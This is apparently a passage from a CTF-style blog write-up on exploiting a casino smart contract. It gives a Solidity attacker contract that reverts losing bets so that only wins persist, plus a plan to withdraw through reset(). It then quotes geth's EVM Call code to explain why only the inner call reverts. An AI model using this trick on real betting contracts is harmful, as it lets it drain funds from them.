        while (casino.balances(address(this)) < targetBalance) {
            uint256 amount = casino.balances(address(this));
            uint256 _amount;
            if (targetBalance - amount <= amount) {
                _amount = targetBalance - amount;
            } else {
                _amount = amount;
            }
            address(this).call(abi.encodeWithSignature("call_bet(uint256)", _amount));
        }
    }

    function call_bet(uint256 amount) public {
        casino.bet(amount);
        uint256 after_amt = casino.balances(address(this));
        if (after_amt > amount) {
            return;
        }
        revert();
    }
}

so we can just exploit with this trick to get winning. and then we should call the reset() function to withdraw money

why aren’t all transactions reverted?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *uint256.Int) (ret []byte, leftOverGas uint64, err error) {
	// Capture the tracer start/end events in debug mode
	if evm.Config.Tracer != nil {
		evm.captureBegin(evm.depth, CALL, caller.Address(), addr, input, gas, value.ToBig())
		defer func(startGas uint64) {
			evm.captureEnd(evm.depth, startGas, leftOverGas, ret, err)
		}(gas)
	}
	// Fail if we're trying to execute above the call depth limit
	if evm.depth > int(params.CallCreateDepth) {
		return nil, gas, ErrDepth
	}
	// Fail if we're trying to transfer more than the available balance
	if !value.IsZero() && !evm.Context.CanTransfer(evm.StateDB, caller.Address(), value) {
		return nil, gas, ErrInsufficientBalance
	}
	snapshot := evm.StateDB.Snapshot()
	p, isPrecompile := evm.precompile(addr)

	if !evm.StateDB.Exist(addr) {
		if !isPrecompile && evm.chainRules.IsEIP4762 && !isSystemCall(caller) {
			// add proof of absence to witness
			wgas := evm.AccessEvents.AddAccount(addr, false)
			if gas < wgas {
				evm.StateDB.RevertToSnapshot(snapshot)
				return nil, 0, ErrOutOfGas
			}
			gas -= wgas
		}

		if !isPrecompile && evm.chainRules.IsEIP158 && value.IsZero() {
			// Calling a non-existing account, don't do anything.
			return nil, gas, nil
		}
		evm.StateDB.CreateAccount(addr)
	}
	evm.Context.Transfer(evm.StateDB, caller.Address(), addr, value)

	if isPrecompile {
		ret, gas, err = RunPrecompiledContract(p, input, gas, evm.Config.Tracer)
	} else {
		// Initialise a new contract and set the code that is to be used by the EVM.
		// The contract is a scoped environment for this execution context only.
		code := evm.resolveCode(addr)
		if len(code) == 0 {
			ret, err = nil, nil // gas is unchanged
		} else {
			addrCopy := addr
			// If the account has no code, we can abort here
			// The depth-check is already done, and precompiles handled above
			contract := NewContract(caller, AccountRef(addrCopy), value, gas)
			contract.IsSystemCall = isSystemCall(caller)
			contract.SetCallCode(&addrCopy, evm.resolveCodeHash(addrCopy), code)
			ret, err = evm.interpreter.Run(contract, input, false)
			gas = contract.Gas
		}
	}
	// When an error was returned by the EVM or when setting the creation code
	// above we revert to the snapshot and consume any gas remaining. Additionally,
	// when we're in homestead this also counts for code storage gas errors.
	if err != nil {
		evm.StateDB.RevertToSnapshot(snapshot)
		if err != ErrExecutionReverted {
			if evm.Config.Tracer != nil && evm.Config.Tracer.OnGasChange != nil {
				evm.Config.Tracer.OnGasChange(gas, 0, tracing.GasChangeCallFailedExecution)
			}

			gas = 0
		}
		// TODO: consider clearing up unused snapshots:
		//} else {
		//	evm.StateDB.DiscardSnapshot(snapshot)
	}
	return ret, gas, err
}

we can find the call’s code in geth. the call() function creates new Contract to execute the bytecode. so new contract will be reverted when the revert() function is called and that’s why all transaction aren’t reverted

i feel again that it is always very important to know the specifications of the system like EVM or smth else, i still have a lot to learn

This post is licensed under CC BY 4.0 by the author.